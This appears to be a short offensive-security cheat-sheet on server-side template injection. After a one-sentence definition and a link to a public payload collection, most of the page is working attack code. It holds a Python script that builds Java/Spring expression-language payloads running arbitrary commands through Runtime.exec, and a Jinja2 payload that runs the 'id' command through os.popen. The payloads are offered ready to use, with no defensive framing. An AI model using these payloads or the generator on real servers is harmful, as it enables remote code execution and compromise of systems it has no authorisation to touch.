# Server Side Template Injection

Template injection allows an attacker to include template code into an existing (or not) template. A template engine makes designing HTML pages easier by using static template files which at runtime replaces variables/placeholders with actual values in the HTML pages.

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## Cheatsheet:

[https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server Side Template Injection/README.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md)

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## Python script for Java encoder:

```bash
#!/usr/bin/env python
message = input('Enter message to encode:')
poc = '*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)' % ord(message[0])
for ch in message[1:]:
    poc += '.concat(T(java.lang.Character).toString(%s))' % ord(ch)
poc += ').getInputStream())}'
print(poc)
```

## Python SSTI RCE

```
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
```


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